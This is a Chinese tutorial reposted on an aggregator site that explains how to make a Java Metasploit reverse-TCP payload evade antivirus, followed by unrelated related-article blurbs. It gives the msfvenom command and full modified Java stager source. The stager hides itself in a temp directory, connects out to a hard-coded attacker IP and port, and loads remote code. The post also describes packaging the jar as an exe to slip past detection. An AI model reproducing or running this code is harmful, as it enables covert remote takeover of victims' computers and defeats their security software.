免杀对抗-java语言-shellcode免杀-源码修改+打包exe

news2024/11/26 22:35:36

JAVA-ShellCode免杀-源码修改&打包EXE

Shellcode-生成/上线

1.msf生成shellcode

命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx -f jar -o msf.jar

2.msf设置监听

3.执行msf生成的shellcode jar包,成功上线

命令:java -jar msf.jar

4.上传到目标系统,直接被火绒检测出木马

 

java免杀-修改源码进行免杀

1.点击启动jd-gui,将生成的msf.jar拖入其中进行反编译,点击file—save all sources导出反编译后的内容

下载jd-guihttps://github.com/java-decompiler/jd-gui/releases/download/v1.6.6/jd-gui-1.6.6.jar

2.将导出的内容进行修改,然后在进行打包

修改后内容:

文件名:META-INF\MANIFEST.MF:

Manifest-Version: 1.0
Class-Path: .
Main-Class: Main

文件名:config:1

文件名:Main.java:修改其中的ip和端口

import java.io.DataInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Main
  extends ClassLoader
{
  private static final String JAVA = String.valueOf(System.getProperty("java.home")) + "/bin/java.exe";
  
  public static void main(String[] paramArrayOfString) throws Exception { runInBackground(); }

  
  public static void runInBackground() throws Exception {
    Class<Main> clazz = Main.class;
    File file1 = File.createTempFile("~spawn", ".tmp");
    file1.delete();
    File file2 = new File(String.valueOf(file1.getAbsolutePath()) + ".dir");
    file2.mkdir();
    File file3 = new File(file2, String.valueOf(clazz.getName().replace(".", "/")) + ".class");
    File file4 = new File(file2, "config");
    if (readFile(Main.class, "config").equals("1")) {
      writeFile(null, "config", file2, false, "0");
      writeFile(clazz, String.valueOf(clazz.getName().replace(".", "/")) + ".class", file2, true, null);
    } else {
      
      getShell();
    } 
    Runtime.getRuntime().exec(new String[] { JAVA, "-classpath", file2.getAbsolutePath(), clazz.getName() });
    Thread.sleep(2000L);
    File[] files = { file3, file4, file2 }; byte b; int i; File[] arrayOfFile;
    for (i = (arrayOfFile = files).length, b = 0; b < i; ) { File f = arrayOfFile[b]; f.delete(); b++; }
  
  }
  public static void writeFile(Class clazz, String name, File dir, boolean ifIsfile, String config) throws IOException {
    InputStream inputStream = null;
    if (ifIsfile) inputStream = clazz.getResourceAsStream("/" + name); 
    File file = new File(dir, name);
    file.getParentFile().mkdirs();
    FileOutputStream fileOutputStream = new FileOutputStream(file);
    byte[] b = new byte[4096];
    if (ifIsfile) {
      int i;
      while ((i = inputStream.read(b)) != -1) {
        fileOutputStream.write(b, 0, i);
      }
    } else {
      fileOutputStream.write(config.getBytes());
    } 
    if (inputStream != null) inputStream.close(); 
    fileOutputStream.close();
  }
  public static String readFile(Class clazz, String name) throws IOException {
    InputStream inputStream = clazz.getResourceAsStream("/" + name);
    StringBuffer str = new StringBuffer();
    byte[] b = new byte[1024];
    int i;
    while ((i = inputStream.read(b)) != -1) {
      str.append(new String(b, 0, i));
    }
    inputStream.close();
    return str.toString();
  }
  public static void getShell() throws Exception {
    InputStream inputStream1 = null;
    OutputStream outputStream = null;
    int j = (new Integer("4444")).intValue();
    String str4 = "192.168.206.129";
    Socket socket = null;
    if (str4 != null) {
      socket = new Socket(str4, j);
    }
    inputStream1 = socket.getInputStream();
    outputStream = socket.getOutputStream();
    (new Main()).bootstrap(inputStream1, outputStream);
  }
  
  private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception {
    try {
      Class<?> clazz;
      DataInputStream dataInputStream = new DataInputStream(paramInputStream);
      int i = dataInputStream.readInt();
      do {
        byte[] arrayOfByte = new byte[i];
        dataInputStream.readFully(arrayOfByte);
        resolveClass(clazz = defineClass(null, arrayOfByte, 0, i));
        i = dataInputStream.readInt();
      } while (i > 0);
      Object object = clazz.newInstance();
      clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(object, new Object[] { dataInputStream, paramOutputStream, new String[] {"",""} });
    } catch (Throwable throwable) {
    }
  }
}

打包命令:javac Main.java

3.执行命令,重新编译为jar包

命令:jar cvfm 名称.jar META-INF/MANIFEST.MF .

4.将jar包上传到目标系统,成功绕过火绒查杀

5.执行jar包,msf成功上线

 

 

Java免杀-JAR包打包EXE执行免杀

将jar打包成exe教程:https://www.jb51.net/article/236000.htm

需要使用的工具:

exe4j-下载链接:https://exe4j.apponic.com/

inno-下载链接:https://jrsoftware.org/isdl.php

一、需要jdk环境才能运行的exe

1.使用exe4j将msf生成的jar打包成exe程序,成功绕过火绒

2.在目标系统有jdk环境的情况下,执行成功上线

 

二、不需要jdk环境也能运行的exe

1.将exe4j打包的exe程序再使用inno工具和jdk环境打包合并到一起,将文件上传目标系统,成功绕过检测

注:什么jB作用没有。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1029041.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【再识C进阶2(下)】详细介绍指针的进阶——利用冒泡排序算法模拟实现qsort函数,以及一下习题和指针笔试题

前言 &#x1f493;作者简介&#xff1a; 加油&#xff0c;旭杏&#xff0c;目前大二&#xff0c;正在学习C&#xff0c;数据结构等&#x1f440; &#x1f493;作者主页&#xff1a;加油&#xff0c;旭杏的主页&#x1f440; ⏩本文收录在&#xff1a;再识C进阶的专栏&#x1…

echarts柱状图上方的数值为0时设置不展示

未去掉0的效果图 series: [{data: this.barData.y,type: "bar",barWidth: 20,itemStyle: {normal: {// 设置柱子圆角barBorderRadius: [2, 2, 0, 0],},},label: {show: true,position: top,color:#fff,formatter: function (params) {if (params.value > 0) {retu…

Vue3父组件访问子组件方法 defineExpose用法

父组件示例 <template><div class"container"><h-demo ref"childDom" /><button click"getChild"></button></div> </template><script setup> import Hdemo from /components/Hdemo; import …

利用vue-cli构建SPA项目以及在SPA项目中使用路由

一. 利用vue-cli构建SPA项目 构建前提&#xff1a; Node.js环境已经搭建完成&#xff08;可点击上一篇博客进行查看http://t.csdn.cn/i2Rg5&#xff09; 1.1 vue-cli是什么 vue-cli是一个用于快速搭建Vue.js项目的脚手架工具。用于自动生成vue.jswebpack的项目模板。它提供了一…

无涯教程-JavaScript - COUNT函数

描述 COUNT函数计算包含数字的单元格的数量,并计算参数列表中的数字。使用COUNT函数获取在数字范围或数字数组中的数字字段中的条目数。 语法 COUNT (value1, [value2] ...)争论 Argument描述Required/Optionalvalue1The first item, cell reference, or range within whic…

MeterSphere v2.10.X-lts 双节点HA部署方案

一、MeterSphere高可用部署架构及服务器配置 1.1 服务器信息 序号应用名称操作系统要求配置要求描述1负载均衡器CentOS 7.X /RedHat 7.X2C,4G&#xff0c;200GB部署Nginx&#xff0c;实现负载路由。 部署NFS服务器。2MeterSphere应用节点1CentOS 7.X /RedHat 7.X8C,16GB,200G…

b站老王 自动驾驶决策规划学习记录(十二)

自动驾驶之速度规划详解&#xff1a;SL与ST迭代 上一讲&#xff1a;b站老王 自动驾驶决策规划学习记录&#xff08;十一&#xff09; 接着上一讲学习记录b站老王对自动驾驶规划系列的讲解 参考视频&#xff1a; 自动驾驶决策规划算法第二章第七节(上) 速度规划详解:SL与ST迭代…

ubuntu 22.04 服务器网卡无IP地址

ssh连接服务器连接不上&#xff0c;提示如下&#xff1b; 连接显示器&#xff0c;ip addr ls 命令查看IP地址&#xff0c;有网卡但没有IP地址 solution&#xff1a; sudo dhclient enp10s0用于通过 DHCP 协议获取网络配置信息并为名为 enp10s0 的网络接口分配 IP 地址,enp1…

学会根据数据手册指令格式发送数据

根据教导&#xff0c;我才知道如何发送指令 EF AA 00 00 00 00 02 C2 00 C4&#xff08;正确&#xff09; EF AA 00 02 02 02 02 C2 00 C4 (错误格式) 一个字节用两个十六进制的数表示。错误示范的指令它的校验码错误的。校验码根据手册将字节相加计算。

GitStats - 统计Git所有提交记录工具

如果你是研发效能组的一员或者在从事 CI/CD 或 DevOps&#xff0c;除了提供基础设施&#xff0c;指标和数据是也是一个很重要的一环&#xff0c;比如需要分析下某个 Git 仓库代码提交情况&#xff1a; 该仓库的代码谁提交的代码最多 该仓库的活跃度是什么样子的 各个时段的提交…

c++ 纯虚函数、抽象类

一、 纯虚函数 抽象类 只要有一个纯虚函数&#xff0c;这个类称为抽象类 抽象类的特点 1、无法实例化 2、抽象类的子类&#xff0c;必须要重写父类中的纯虚函数&#xff0c;否者也属于抽象类 例子一 #include <iostream> #include <string.h> using namespa…

正确设置PyTorch训练时使用的GPU资源

背景&#xff1a; 最近在使用Hugging Face的transformers api来进行预训练大模型的微调&#xff0c;机器是8卡的GPU&#xff0c;当我调用trainer.train()之后&#xff0c;发现8个GPU都被使用了&#xff0c;因为这个机器上面还有其他人跑的模型&#xff0c;当我进行训练的时候&…

Python 爬虫实战之爬淘宝商品并做数据分析

前言 是这样的&#xff0c;之前接了一个金主的单子&#xff0c;他想在淘宝开个小鱼零食的网店&#xff0c;想对目前这个市场上的商品做一些分析&#xff0c;本来手动去做统计和分析也是可以的&#xff0c;这些信息都是对外展示的&#xff0c;只是手动比较麻烦&#xff0c;所以…

服务器新建FTP文件备份的地址

步骤1&#xff1a;远程桌面连接 步骤2&#xff1a;输入服务器地址&#xff0c;账号&#xff0c;密码 服务器地址&#xff1a;IP地址 账号&#xff1a;Administrator 密码&#xff1a;123456 步骤3&#xff1a;点击这个一个小人的图标 步骤4&#xff1a;General–>Add–&g…

C++ RAII在HotSpot VM中的重要应用

RAII&#xff08;Resource Acquisition Is Initialization&#xff09;&#xff0c;也称为“资源获取就是初始化”&#xff0c;是C语言的一种管理资源、避免泄漏的惯用法。C标准保证任何情况下&#xff0c;已构造的对象最终会销毁&#xff0c;即它的析构函数最终会被调用。简单…

实操技巧:私域+公域=全渠道获客

引流是所有企业都要做的事情。在公域流量平台中不管是线上或线下&#xff0c;获客的成本是越来越高&#xff0c;所以很多企业都要在布局私域&#xff0c;但如果不懂私域运营的逻辑&#xff0c;同样也面临着获客难引流难的问题和获客成本高的问题。 . 今天给大家汇总了私域和公域…

MES管理系统对印刷企业来说有什么优点

在当今高度信息化的时代&#xff0c;许多企业&#xff0c;包括印刷企业&#xff0c;正在寻求更有效地管理其生产过程和运营的方式。在这种情况下&#xff0c;印刷企业MES管理系统成为了他们的首选。印刷企业MES系统在提升企业运营效率、优化生产过程、提升产品质量以及加强供应…

如何向PDB文件添加双键

在用PDB文件进行分子绘图的时候&#xff08;制作OBJ&#xff09;&#xff0c;发现像Atomic blender插件和PDB本身并不支持双键&#xff0c;需要对PDB文件进行修改&#xff0c;参照的该yt链接https://www.youtube.com/watch?vYNoow7qkwFA&t364s&ab_channelEdvinFako 即…

Java乐观锁的实现

乐观锁是一种用于解决并发冲突的机制&#xff0c;它基于假设在大多数情况下没有并发冲突的原则。与悲观锁不同&#xff0c;乐观锁不会对数据加锁&#xff0c;而是通过一定的方式来检测并处理并发冲突。 在实现乐观锁时&#xff0c;通常会使用版本号或时间戳作为标识。当多个线程…

电子科大软件系统架构设计——系统需求分析

文章目录 系统需求分析需求采集研究现有文档与系统组织机构图系统规划文档工作规范文档业务单据报表问题描述文档领域专业知识现有相关软件系统 与客户及相关人员进行面谈正式面谈非正式面谈典型访谈问题优缺点 问卷调查法调查表问卷设计问卷调查表应用方式 观察法头脑风暴法原…